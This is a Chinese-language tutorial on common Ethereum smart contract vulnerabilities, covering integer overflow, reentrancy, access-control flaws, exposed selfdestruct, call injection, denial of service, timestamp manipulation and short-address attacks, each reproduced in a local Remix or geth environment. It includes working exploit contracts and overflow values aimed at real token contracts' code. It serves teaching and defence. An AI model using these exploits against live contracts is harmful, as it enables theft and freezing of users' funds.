跳转至

智能合约常见漏洞

智能合约常见漏洞

整型溢出漏洞

用书上的例子来介绍一下:
一个小朋友,他可以数着手指运算十以内的运算,比如 1+1=2,他可以用两个手指算出来,但是如果你问他 5+6 等于多少,他数完十个手指之后发现手指不够用了,就会把手指扳回来,说:结果为 1,对于小朋友来说,这个问题就超纲“溢出”了

在 solidity 中,当一个整型变量高于或者低于他所能承受的范围时,就会发生溢出,导致一些不可预期的情况出现。例如,当用户转账金额超过系统预设的最大值时,只要用户金额大于零,用户就可以直接将巨额的代币转走

代码片段

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool){
  uint cnt = _receivers.length;
  uint 256 amount = uint256(cnt) * _value;
  //出现了乘法运算,且amount缺少溢出判断,因此存在溢出的可能
  require(cnt > 0 && cnt <=20);
  require(_value >0 && balances[msg.sender] >= amount);
  //存在通过将amount溢出为0或极小值来绕过余额判断的可能
  balances[msg.sender] = balances[msg.sender].sub(amount);
  for(uint i = 0; i < cnt; i++){
    balances[_receivers[i]] = balances[_receivers[i]].add(_value);
    Transfer(msg.sender, _receivers[i], _value);
  }
  return true;
}

这个函数的作用是:让用户同时向多个人转账。第一个参数 _receivers 为 Address 数组类型,代表接收者地址,也就是可以向一整个数组的人转账。第二个参数 _value 为转账金额。

这个函数的逻辑是:
获得数组的成员数(cnt),计算一共转多少钱(amount)
成员数要大于 0 且小于 20 ,然后转账的数值要大于 0 且要小于拥有的金额数才能继续

漏洞分析

uint 256 amount = uint256(cnt) * _value;
在上下文中,没有对 amount 进行溢出判断,如果攻击者将 amount 溢出为 0 或者其他很小的值就能绕过用于对账户余额的判断
require(_value >0 && balances[msg.sender] >= amount);

在代码中可以看到 转账的金额能够被 cnt 和 _value 所控制,所以我们可以操纵这俩数值,来达到目的
具体步骤如下:

  1. 创建两个地址,用于接收溢出转账
  2. 调用 batchTransfer() 函数,将 _receivers 设置为 uint256 的最大值 / 2 + 1
  3. 这样,当计算 amount = uint256 的最大值 + 1,就超过了 uint256 的最大范围,成功溢出为 0

    奇数 115792089237316195423570985008687907853269984665640564039457584007913129639935 是 uint256 的最大值,如果把他除以二(刚好需要向下取整)然后加一,把这个作为 _value 的值,这样,再乘以一个 cnt 的值,得到的就刚好溢出

  4. 代码执行后,两个地址都会得到 _value 个 Token,也就是这两个账号会凭空增加 57896044618658097711785492504343953926634992332820282019728792003956564819968 个 Token(也就是 _value 值)

代码调试

去 这里 看一下
代码复制出来,然后拿到 remix IDE 里面去编译一下

image.png

然后在 Run 里面,选择 Environment 为 JavaScript VM,然后选择 BecToken 合约 点击 Deplay 进行部署

image.png

记录一下账户的地址:
1:0xca35b7d915458ef540ade6068dfe2f44e8fa733c(主账户)
2:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
3:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db

image.png

_receivers:
["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"]
_value:
57896044618658097711785492504343953926634992332820282019728792003956564819968

然后点击 batchTransfer 的 transact
再用 balanceOf 看一下账户余额是不是变化了

一开始主账户的金额:

image.png

其他账户(以第二个为例)

image.png

转账之后第二个帐户的金额

image.png

再来看看第一个账户的金额,还是这样,这就说明我们复现成功了

image.png

规避整型溢出:SafeMath库

目前 solidity 还没有解决此问题,所以只能由各个合约自行完成整型溢出的判断
在任何时候,都不要在代码中直接使用 +、-、*、/ 来进行数学运算,而应使用 SafeMath 库
在 SafeMath 库中每个函数开头都用 语句进行了判断,对所有函数都进行了防溢出判断,可以有效地杜绝整型溢出问题

重入漏洞

漏洞分析

以太坊智能合约的特点之一是能够调用其他外部合约的代码,然而这些外部合约可能被攻击者劫持,迫使合约通过回退函数进一步执行代码,包括回调本身。在 gas 足够的情况下,合约之间甚至可以相互循环调用,直至达到 gas 的上限,但是如果循环中有转账之类的操作,就会导致严重的后果

function withdraw(){
  require(msg.sender,call.value(balances[msg.sender])());
  balances[msg.sender]=0;
}

这种函数大多存在于钱包、去中心化交易所中,目的是为了让用户提款,将合约中的代币转换成通用的以太币
但是有个问题是他没有先对用户的代币余额进行清零,而智能合约进行转账的时候会调用收款方 fallback 函数

合约可以有一个未命名的函数 —— Fallback 函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。另外每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。 如果不存在这样的函数,则合约不能通过常规交易接收以太币

如果构造一个 fallback 函数,函数里面也调用对方的 withdraw 函数的话,那将会产生一个循环调用转账功能,存在漏洞的合约会不断向攻击者合约转账,终止循环结束(以太坊 gas 有上限)

1588123839849-8145faef-3c2c-49dd-9b8d-c79f0aab2edb.png

以太坊支付通道及提款机制

以太坊的支付流程是:支付方(sender)将钱包里的以太币发送给以太坊网络,然后以太坊网络再把一定数量的以太币分配给接收方(recipient)。此外还要一部分额外的以太币作为交易费,而交易费不与交易量挂钩

这就导致你发送 1 个以太币交易费是 0.00021 以太币,你转 0.0001 个以太币也要 0.00021 以太币,转账金额还不如交易费高显然是不能接受的,所以以太坊网络上建立支付通道,将发送方在网络上的存款和接收方从网络中提款分割为两个独立的活动

对支付通道的使用进行一下说明:
首先发送方向网络发送一适当的存入资金,这笔存款就像交易一样,记录在区块链上,公开确认了发送方的存款行为
然后发送方直接向接收方发送支付承诺,发送方对接收方表示:“如果你发送了一笔包括这个支付承诺的交易,就会收到这些资金。”然而,关键在于这本身不是一笔交易。这意味着生成支付承诺可以省去交易费的成本

发送方还可以向接收方多次发送承诺,比如一共发送了 3 次“发送 0.01 个以太币”的承诺,那接收方现在就有一个发送方的“发送 0.03 个以太币”的承诺

只要把包含这个承诺的交易发送给网络,接收方就会收到这笔钱,而原本存在网络的资金剩下的会再返还给发送者

1587995917188-50b175cc-3a42-462f-88f6-328725058a66.png

常用转币方式

.reansfer() 发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入
.send() 发送失败时,返回布尔值 false,只会传递 2300 个 gas  以供调用,从而防止重入
.gas().call.value()() 当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击 ## 代码调试
pragma solidity ^0.4.19;

contract Victim {
    mapping(address => uint) public userBalannce;
    uint public amount = 0;
    function Victim() payable{}
    function withDraw(){
        uint amount = userBalannce[msg.sender];
        if(amount > 0){
        msg.sender.call.value(amount)();
            userBalannce[msg.sender] = 0;
        }
    }
    function() payable{}
    function receiveEther() payable{
        if(msg.value > 0){
            userBalannce[msg.sender] += msg.value;
        }
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
}

contract Attacker{
    uint public amount = 0;
    uint public test = 0;
    function Attacker() payable{}
    function() payable{
        test++;
        Victim(msg.sender).withDraw();
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
    function sendMoney(address addr){
        Victim(addr).receiveEther.value(1 ether)();
    }
    function reentry(address addr){
        Victim(addr).withDraw();
    }
}
部署 Attacker 合约,给 Attacker 合约 1 以太币 ![image.png](./img/num9gxh0ay4iz8x2/1588121095109-0b19a25c-ce34-452d-9d46-b33e75a91009-367757.png) 部署之后点击 showAccount 再点击 amount 看一下余额,成功 ![image.png](./img/num9gxh0ay4iz8x2/1588121181253-2b8c6c29-dbc3-4273-a150-ef957d536d82-965507.png) 同样,部署 victim 合约,给他 10 以太币,目前账户余额如下: ![image.png](./img/num9gxh0ay4iz8x2/1588121302322-fe9130a7-ea93-443a-8bb1-409dd5a8034b-463973.png) 调用 Attacker 合约的 sendMoney 函数,给 victim 转一个以太币 ![image.png](./img/num9gxh0ay4iz8x2/1588121584303-22382d72-a52c-4475-899d-2b4c712cda5d-835346.png) 调用 Attacker 的 reentry 函数,进行攻击,然后看一下余额,发现原本在 victim 中的以太币全都到了 Attacker 合约中,同时 test 的值为 11,说明  fallback 函数被调用了 11 次 ![image.png](./img/num9gxh0ay4iz8x2/1588122269248-1c0c78f3-52ff-4fc4-ad10-78fdebfc7dd3-459735.png) ## 漏洞防范 重入漏洞的关键在于:利用回退函数调用函数本身,形成递归调用,在递归调用的过程中进行了转账操作,导致循环转账。虽然代码中存在判断语句,但是状态更新在函数调用之后,所以状态更新会因为循环调用而迟迟无法执行 广义上看,重入攻击条件有一下两个: 1. 调用合约外部函数。若外部函数是被攻击者所操纵的合约,就存在隐患 2. 外部函数操作优先于对状态的写操作 所以,**防范的关键在于编写合约的时候把写操作放在外部函数调用之前** ** # 访问控制缺陷 访问控制缺陷是因为编写 solidity 智能合约的时候,对于某些判断的定义不严谨或者笔误,导致的某些敏感功能的访问验证被绕过问题。攻击者可以恶意使用某些敏感功能 ## 漏洞分析 先看一段代码片段
//函数修改器用于检验是否允许转移Token
modifier isTokenTransfer{
  //if token transfer is not allow
  if(!tokenTransfer){
    revert();
  }
  _;
}
//函数修改器用于检验是否来自钱包本身
modifier onlyFromWallet{
  require(msg.sender != walletAddress);
  _;
}

contructor(uint initial_balance,address wallet){
  require(wallet !=0);
  require(initial_balance !=0);
  _balances[msg.sender]==initial_balance;
  _supply = initial_balance;
  walletAddress = wallet;
}

function transfer(address to, uint value) isTokenTransfer checkLock returns (bool success){
  require(_balances[msg.sender] >= value);
  _balances[msg.sender] = _balances[msg.sender].sub(value);
  _balances[to] = _balances[to].add(value);
  Transfer(msg.sender,to,value);
  return true;
}
function enableTokenTransfer() external onlyFromWallet{
  tokenTransfer = true;
  TokenTransfer();
}
function disableTokenTransfer() external onlyFromWallet{
  tokenTransfer = false;
  TokenTransfer();
}
在代码中的 transfer 函数,除了转账功能还增加了两个修饰符 isTokenTransfer 和 checkLock,我们主要讨论 isTokenTransfer 函数
modifier isTokenTransfer{
  if(!tokenTransfer){
    revert();
  }
  _;
}
当 tokenTransfer 变量为 false 时,被 isTokenTransfer 修饰的函数是无法正常执行的,在 disableTokenTransfer 函数可以把这个变量改成 false,disableTokenTransfer 有一个修饰符是 onlyFromWallet 字面意思上看应该是只能合约本身去调用的
function disableTokenTransfer() external onlyFromWallet{
  tokenTransfer = false;
  TokenTransfer();
}
onlyFromWallet 函数定义在这里
modifier onlyFromWallet{
  require(msg.sender != walletAddress);
  _;
}
加这个本意是只能合约本身去调用的,但是这里 != 的条件判断下来的话就是 如果调用者不是合约本身反而是通过的了 ## 代码调试 [https://cn.etherscan.com/address/0xb5a5f22694352c15b00323844ad545abb2b11028#code](https://cn.etherscan.com/address/0xb5a5f22694352c15b00323844ad545abb2b11028#code) 去这里复制一下代码 用默认账户选择 IceToken 合约,在 wallet 中填上默认账户的地址,在 initial_balance 中填上 100,然后部署 ![image.png](./img/num9gxh0ay4iz8x2/1588169875514-148e07a8-0b0f-4fdb-a304-7eb96e9c3492-628833.png) 切换到第二个账户,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c 先点击 enableTokenTransfer,然后使用 reansfer() 向自己转移 0 个 Token,测试是否能用 ![image.png](./img/num9gxh0ay4iz8x2/1588170122418-74341ac8-7d1c-4793-8d46-b6a0900ea0d9-501591.png) 然后我们使用 disableTokenTransfer 让转账不可用,注意,我们现在并不是合约的部署者,理论上说是不能修改这样的东西的,否则随便一个人就能让你的用户没法转帐?不能接受吧 ![image.png](./img/num9gxh0ay4iz8x2/1588170328652-c0faae85-ea57-4c53-85b1-2fc625c62742-727898.png) 他的问题在这里
modifier onlyFromWallet {
       require(msg.sender != walletAddress);
       _;
   }
!= 应该是 == 的,这样结果反而是除合约所有者之外的所有人都可以更改了,实际上韩国有个区块链项目 ICON(ICX) 的智能合约就出现过这个问题 ## 漏洞防范 必须对由于表征权限的变量和表示进行严格的控制,即这些敏感变量也应通过函数修饰符进行权限控制,从而保证权限闭环 # 特权功能暴露 ## 漏洞分析 - 在 solidity 中没有被权限修饰符修饰的函数,默认可以被所有人调用(即具有 public 属性) - 在 solidity 中有一个内置函数 selfdestruct() (析构函数)销毁当前合约,并把合约余额发送到某个地址中 如果这俩情况同时发生在同一函数上,就意味着所有人都可以调用这个函数来获得合约的余额,当然,也不一定是析构函数,其他涉及敏感操作的函数(比如未鉴权的合约所有人转移、初始化等)暴露也会造成严重的后果 ## 代码片段
function destroycontract(address _to){
  selfdestruct(_to);
}
这个函数是销毁合约的函数,但是却没有进行修饰,导致任何人都可以调用这个函数来销毁合约 ## 代码调试 [https://cn.etherscan.com/address/0xb5c0e43a6330b9eb904ec57ea24d70269ae4652e#code](https://cn.etherscan.com/address/0xb5c0e43a6330b9eb904ec57ea24d70269ae4652e#code) 部署 Zapit 合约 ![image.png](./img/num9gxh0ay4iz8x2/1588218331646-f32fc00f-4381-4730-973a-593b18bc4234-849977.png) 先随便试试,是正常可用的 ![image.png](./img/num9gxh0ay4iz8x2/1588218429113-7c233cc9-4b2d-40b9-957b-e58dbf5e0272-761691.png) 用第二个账户销毁合约 ![image.png](./img/num9gxh0ay4iz8x2/1588218467106-d7c768fa-ba09-4a9a-ba1d-e656840d2e93-673217.png) 再看看已经没法用了 ![image.png](./img/num9gxh0ay4iz8x2/1588218525391-e4064c67-413c-4f50-9c37-07129e514e41-375273.png) ## 漏洞防范 对于敏感操作要严格控制权限,还是要仔细吧。。。 # 跨合约调用漏洞 ## 漏洞概述 在 solidity 中合约之间的相互调用有两种方式: - 使用封装的方式,将合约地址封装成一个合约对象来调用它的函数 - 直接使用函数来调用其他合约 solidity 提供了 call()、delegatecall()、callcode() 三个函数来实现合约直接的调用及交互,这些函数的滥用导致了各种安全风险和漏洞。在使用第二种方式时,如果处理不当很可能产生致命的漏洞 —— 跨合约调用漏洞,主要就是 call() 注入函数导致的 call() 函数对某个合约或者本地合约的某个方法的调用方式: -
.call(方法选择器,arg1,arg2,...) -
.call(bytes) 通过传递参数的方式,将方法选择器、参数进行传递,也可以直接传入一个字节数组(bytes要自己构造) 举一个简单的例子
contract sample_1{
  function info(bytes data){
    this.call(data);
  }
  function secret() public{
    require(this == msg.sender);
    //secret operations
  }
}
合约的两个函数中 secret 函数必须是合约自身调用的,然而有个 info 函数,调用了 call(),并且外界是可以直接控制 call 函数的字节数组的 `this.call(bytes4(keccak256("secret()")));` 这样就调用了 secret 第二个例子
contract sample2{
 ...
  function logAndCall(address _to,uint _value,bytes data,string _fallback){
  ...
  assert(_to.call(bytes4(keccak256(_fallback)),msg.sender,_value,_data));
    ...
 ...
}
在 logAndCall 函数中,我们的 _falback 参数可以控制,所以我们可以控制 _to 的任何方法。另外 assert 有三个参数,我们没必要调用完全符合三个参数类型的合约,因为在 EVM 中,只要找到了方法需要的参数,就会去执行,其他参数就会被忽略,不会产生任何影响 ## 漏洞分析
function transferFrom(address _from,address _to,uint256 _amount,bytes _data,string_custom_fallback) public returns (bool success){
  //Alerts the token controller of the transfer
  if(isContract(controller)){
    throw;
  }
  require(super.transferFrom(_from,_to,_amount));
  if(isContract(_to)){
    ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
    receiver.call.value(0)(bytes4(keccack256(_custom_fallback)),_from,_amount,_data);
  }
  ERC223Transfer(_from,_to,_amount,_data);
  return true;
}

function setOwner(address owner_) public auth{
  owner - owner_;
  LogSetOwner(owner);
}

modifier auth{
  require(isAuthorized(msg.sender,msg.sig));
  _;
}

function isAuthorized(address src,bytes4 sig) internal view returns (bool){
  if(src==address(this)){
    return true;
  } else if (src == owner){
    return true;
  } else if (authority == DSAuthority(0)){
    return false;
  } else {
    return authority.canCall(src,this,sig);
  }
}
核心漏洞代码片段
function transferFrom(address _from,address _to,uint256 _amount,bytes _data,string_custom_fallback) public returns (bool success){
  //Alerts the token controller of the transfer
  if(isContract(controller)){
    throw;
  }
  require(super.transferFrom(_from,_to,_amount));
  if(isContract(_to)){
    ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
    receiver.call.value(0)(bytes4(keccack256(_custom_fallback)),_from,_amount,_data);
  }
代码含义:如果目标地址是智能合约,就调用目标的 _custom_ 回退函数,并依次填入参数 _from,_amount,_data,这些都是我们可控的,另外 _to 参数也仅仅进行了是否是合约地址的判断,所以我们可以通过 _to 来控制合约本身,并调用该合约的任意 public 函数 ## 代码调试 [https://cn.etherscan.com/address/0x461733c17b0755ca5649b6db08b3e213fcf22546#code](https://cn.etherscan.com/address/0x461733c17b0755ca5649b6db08b3e213fcf22546#code) 由于这个合约的计算比较多,所以在 Gas limit 值加上个 0 让他大一点 ![image.png](./img/num9gxh0ay4iz8x2/1588253058296-0386e04f-ea4e-4a52-a368-9a917623a136-448378.png) 点击 owner 查看合约所有者的地址,返回了默认账户的地址 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c ![image.png](./img/num9gxh0ay4iz8x2/1588253108925-4ef4eb81-ffa7-4a67-a62e-88fadd01eaf5-634272.png) 调用带有 _custom_fallback 参数的 transferFrom() 函数,我们的目的是让合约属于第二个账户,所以填写如下参数: - _from 参数为第二个账户的地址 - _to 参数为合约地址 - _custom_fallback 参数为 setOwner() 函数 - 另外两个参数随意 ![image.png](./img/num9gxh0ay4iz8x2/1588253720491-99f3592e-6def-43b7-b25a-303c028a4c8e-446169.png) ![image.png](./img/num9gxh0ay4iz8x2/1588253870482-2cb3ce13-0815-4d26-8ee0-fc3dfd254e8f-461270.png) 再看一下,合约所有者已经成了第二个账户的地址了 ![image.png](./img/num9gxh0ay4iz8x2/1588253951709-23ecbec6-fb87-403f-9f0f-9df00da26e2b-201833.png) ## 漏洞防范 虽然 call()、delegatecall()、callnode() 三个函数为合约间调用提供了很大的便利,但是存在很大隐患,所以防范跨合约调用漏洞的方法就是减少对这三个函数的使用。很多功能都可以用高级函数来实现 # 拒绝服务漏洞 ## 漏洞概述 DoS(Denial of Service)漏洞,拒绝服务,在智能合约中,攻击者通过消耗资源,让用户短暂的(某些情况下永久地)退出不可操作的合约,从而把以太币锁在被攻击的合约中 ## 漏洞分析 ### 在外部操纵映射或数组循环 这种攻击方式通常出现在合约所有者希望在其投资者之间分配代币,以及在合约中可以看到类似 distribute() 函数的情况
contract DistributeTokens{
  address public owner;
  address[] investors;
  uint[] investorTokens;

  function invest() public payable{
    investors.push(msg.sender);
    investorTokens.push(msg.value * 5);
  }

  function distribute() public {
    require(msg.sender == owner);
    for(uint i = 0;i<investors.length;i++){
      transferToken(investors[i],investorTokens[i]);
    }
  }
}
合约的循环遍历数组可以被人为扩充,攻击者可以创建多个账户,让 investors 的数据变得更大。理论上,攻击者可以执行 for 循环所需的 gas 数量超过区块 gas 上限,从而使得 distribute() 无法操作 ### 所有者合约 所有者在合约中具有特定的权限,且必须执行一些任务,才能使合约进入下一个状态,例如 ICO 合约要求所有者使用 finalize() 方法签订合约,然后才能转移代币
bool public isFinalized = false;
address public owner;
function finalize() public {
  require(msg.sender = owner);
  isFinalized == true;
}
function transfer(address _to,uint _value) returns(bool){
  require(isFinalized);
  super.transfer(_to,_value)
}
如果权限用户丢失,其私钥可能会变为非活动状态,于是代币合约就无法被操控。在这种情况下,如果 owner 无法调用 finalize() 函数,则代币无法转让,也就是说,代币系统的全部运作都取决于一个地址 ### 基于外部调用的进展状态 有时候合约被编写成进入新的状态,需要将以太币发送到某个地址或者等待来自外部的某些输入。当外部调用失败或者由于外部原因而被阻止,也可能导致拒绝服务攻击 必须用户可以创建一个不接受以太币的合约,如果合约需要将以太币发到构建的这个合约才能进入新状态,那合约就永远不达到新状态 ## 代码调试
pragma solidity ^0.4.22;
contract Auction{
    address public currentLeader;
    uint256 public highestBid;
    function bid() public payable{
        require(msg.value > highestBid);
        require(currentLeader.send(highestBid));
        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

contract POC{
    address public owner;
    Auction public auInstance;
    constructor() public{
        owner = msg.sender;
    }
    modifier onlyOwner(){
        require(owner==msg.sender);
        _;
    }
    function setInstance(address addr) public onlyOwner{
        auInstance = Auction(addr);
    }
    function attack() public payable onlyOwner{
        auInstance.bid.value(msg.value)();
    }
    function() external payable{
        revert();
    }
}
每当执行的 bid() 函数的时候,如果当前交易携带的以太币的数量大于 highestBid 的值,那么 highestBid 所对应的数量的以太币将被退回 currentLeader。设置当前竞拍者为 currentLeader,将 highestBid 改为 msg.value 在上面的 POC 合约中,setInstance() 函数将传入攻击对象合约,attack() 函数将加入拍卖机制关键还是回退函数(这里指 function() external payable 函数)。当新的 bider 参与竞标时,执行到 reauire(currentLeader.send(highestBid)) 将会因为攻击合约的回退函数无法接受以太币返回 false,最终攻击合约以较少的以太币赢得竞标 使用默认账户部署 Auction 合约,查看一下初始状态 ![image.png](./img/num9gxh0ay4iz8x2/1588257569720-4458e343-caf4-4286-8239-e21c88e18edd-640726.png) 使用 10 wei 拍下合约,然后再查看,会发现 currentLeader 已经成了默认账户 ![image.png](./img/num9gxh0ay4iz8x2/1588257665419-7b43279e-acea-49db-8cf5-2f00d802664b-609349.png) 使用第二个账户部署 POC 合约,然后复制第一个合约的地址,复制到 setInstance ![image.png](./img/num9gxh0ay4iz8x2/1588257837637-2910658a-bf06-41ed-97a1-b55f1190665f-015409.png) 使用 第二个账户,设置为 20 个 value,然后点击 attack ![image.png](./img/num9gxh0ay4iz8x2/1588258180681-093ceb73-c73e-41b4-9092-c48e716366ad-370206.png) 因为 attack() 会调用 Auction 合约的 bid() 函数,所以可以看到 Auction 合约的 currentLeader 已经成了第二个账户 即使其他用户再用更高的 wei 去竞标也会失败 ![image.png](./img/num9gxh0ay4iz8x2/1588258347758-3f0f1646-e299-4d47-b3f3-f50fccf67af7-286001.png) ## 漏洞防范 函数应该加入异常处理机制 # 矿工特权隐患 ## 漏洞概述 主要是指依赖时间戳的合约,比如一个抽奖的合约,会根据当前时间戳与一些其他的变量计算出来“幸运数”,如果参与者拥有幸运数相同的编码就可以拿到奖品,那么矿工在挖矿的过程中,可以提前尝试不同的时间戳,把奖品送给自己想送给的人 ## 相关案例 鉴于没法在 remix IDE 中复现,来说个案例,GovernMental 一个“庞氏骗局”合约会在一轮合约内向最后一个加入合约的玩家(需要至少加入一分钟)进行支付,因此,作为矿工的玩家可以调整时间戳,让合约以为该玩家已经加入超过一分钟了 # 短地址攻击 ## ABI编码 我们只看交易的信息 [https://cn.etherscan.com/tx/0x0213fb70e8174c5cbd9233a8e95905462cd7f1b498c12ff5e8ec071f4cc99347](https://cn.etherscan.com/tx/0x0213fb70e8174c5cbd9233a8e95905462cd7f1b498c12ff5e8ec071f4cc99347) 看一下 input data ![image.png](./img/num9gxh0ay4iz8x2/1588643515734-3d74b02e-8cb6-4535-a17b-825ac5d05835-457210.png) 如果能 Decode 以下的话就可以发现是下面这样的 ![image.png](./img/num9gxh0ay4iz8x2/1588643221117-3b26649c-3549-43d1-b24e-cf4e4c0a8917-483780.png) 我用的是这个网站的 decode 功能,上面那个网站 decode 不了,以前一直以为这个网站凉了,原来是被凉了,搞不懂这个网站为啥也要 404 [https://etherscan.io/tx/0x0213fb70e8174c5cbd9233a8e95905462cd7f1b498c12ff5e8ec071f4cc99347](https://etherscan.io/tx/0x0213fb70e8174c5cbd9233a8e95905462cd7f1b498c12ff5e8ec071f4cc99347) 对应着解释一下那一段十六进制字符串 0xa9059cbb0000000000000000000000000797350000000000000000000000000000000000000000000005150ac4c39a6f3f0000 首先是前面四个字节 a9059cbb 这是用函数选择器计算出来的函数 ID: 用 bytes4(keccak256("transfer(address,uint256)")) 计算出来的 后面 32 字节,是由目标地址的 20 字节地址 0797350000000000000000000000000000000000 组成的,不足位数前面需要补 0  再往后就是转移的额度 _value 了,如果位数不足,就在前面补上一个 0,凑够 32 字节 这个貌似少了两位数 ## 漏洞概述 短地址攻击就是发送比预期地址参数长度短的编码参数,例如只发送 38 个十六进制字符(19)字节的地址,而不是标准的 40 个字符(20)个字节,在这种情况下,EVM 会把金额前面 0 填充到编码参数的末尾,以达到预设长度 用户常见一个空钱包比如:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d200,把最后两个 0 去掉,作为收款地址来购买 1 个代币,EVM 会贴心的帮你用金额前面的 0 补上地址少的位数,但是这样金额长度又不够了,EVM 会继续贴心的在金额后面补上 0,直到补齐为止 ## 代码调试 鉴于 remix 会对地址格式进行检查,我们没法用他来做实验,但是可以用更底层的 geth 来试一下 (找到一个教育机构做的 [remix IDE](http://remix.hubwiz.com/) 国内 CDN 加速的,舒服!)
pragma solidity ^0.4.11;
contract MyToken{
  mapping(address => uint)balances;
  event Transfer(address indexed _from,address indexed _to,uint256 _value);
  function MyToken(){
    balances[tx.origin]=10000;
  }
  function sendCoin(address to,uint amount) returns(bool sufficient){
    if(balances[msg.sender]<amount) return false;
    balances[msg.sender] -= amount;
    balances[to] += amount;
    Transfer(msg.sender,to,amount);
    return true;
  }
  function getBalance(address addr) constant returns(uint){
    return balances[addr];
  }
}
选择 details 复制 web3deploy ![image.png](./img/num9gxh0ay4iz8x2/1588378994573-c701dcbe-7fe2-45a9-999e-2ccc4a53483e-431835.png) 因为我们用的是 eth.account[0] 账户部署合约,所以要先解锁 personal.unlockAccount(eth.accounts[0],"123456") 可以看到第三个账户最后一位是 00 嗷 > 0xcb16c1dd763fb39c121d07590a0881bf0439cd42 > 0xe2fa80e6d74b9f63157ecd131eb11f8130d0416d > 0x681428ff41bd940bcf641abaf532f3fbc0146f00 ![image.png](./img/num9gxh0ay4iz8x2/1588645372992-d62aedd5-1250-4cfd-95cd-ede2b11b34a6-615235.png) 然后开启挖矿 miner.start() 把之前复制的 web3deploy 复制到控制台,返回了合约地址和交易的 hash 值,说明部署成功了
var mytokenContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"sendCoin","outputs":[{"name":"sufficient","type":"bool"}],"payable":false,"type":"function","stateMutability":"nonpayable"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function","stateMutability":"view"},{"inputs":[],"payable":false,"type":"constructor","stateMutability":"nonpayable"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"}]);
var mytoken = mytokenContract.new(
   {
     from: web3.eth.accounts[0], 
     data: '0x6060604052341561000c57fe5b5b612710600060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6102b9806100646000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806390b98a1114610046578063f8b2cb4f1461009d575bfe5b341561004e57fe5b610083600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506100e7565b604051808215151515815260200191505060405180910390f35b34156100a557fe5b6100d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610243565b6040518082815260200191505060405180910390f35b600081600060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610139576000905061023d565b81600060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b6000600060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b9190505600a165627a7a72305820140da13b1607e4177f9e0404e33165222e8a6a7b462372ede9923f27f1fe17820029', 
     gas: '4700000'
   }, function (e, contract){
    console.log(e, contract);
    if (typeof contract.address !== 'undefined') {
         console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
    }
 })
![image.png](./img/num9gxh0ay4iz8x2/1588379993181-839b50ba-8560-463a-b234-aff36e8167e3-275245.png) mytoken.getBalance(eth.coinbase) 返回 coinbase 账户中的代币余额 mytoken.getBalance(eth.accounts[2]) 返回 eth.account[2] 账户的代币余额(初始为 0) eth.defaultAccount=eth.coinbase 设置默认地址为 coinbase,这是使用合约转账的前提 personal.unlockAccount(eth.coinbase,"123456")  解锁 mytoken.sendCoin(eth.accounts[1],'100')  使用 sendCoin 正常转账给 eth.accounts[1] 账户 100 个代币 eth.getTransaction("交易返回的 hash 值")   查看交易的信息 ![image.png](./img/num9gxh0ay4iz8x2/1588646600930-140704bf-5b1b-4166-a456-253e06494cb5-287070.png) 我进行了几次交易 ![image.png](./img/num9gxh0ay4iz8x2/1588646718162-ebf7def7-f5ae-4f0e-8fc5-9554c48f266b-543982.png) 看一下正常的跟不正常的交易信息的对比 ![image.png](./img/num9gxh0ay4iz8x2/1588646776245-072f5eca-7c00-4ae3-b8b9-03e49d7a09e7-418031.png) 为什么我的是在前面补齐的??? ![image.png](./img/num9gxh0ay4iz8x2/1588646869086-7a796007-ac54-41da-bd5b-2e5b8cab751a-517818.png) 看师傅博客,发现果然是不再贴心了 [![image.png](./img/num9gxh0ay4iz8x2/1588404457720-88e90392-c9a9-4687-ba81-52312018e76e-779453.png)](https://blog.csdn.net/TurkeyCock/article/details/84061796) ### 再次尝试 然而可以参考博客的方法,先 生成 abi 编码,再去掉几个 0 后生成 raw transaction,使用 sendRawTransaction() 发送交易 记录一下现在的账户余额 ![image.png](./img/num9gxh0ay4iz8x2/1588897744240-3c81ecb7-8d70-44e4-8dda-b7dec1ac9bfd-927331.png) var mytoken = mytokenContract.at('0x6001e62c13146912b7b08ea1702f0abb2c94551c') 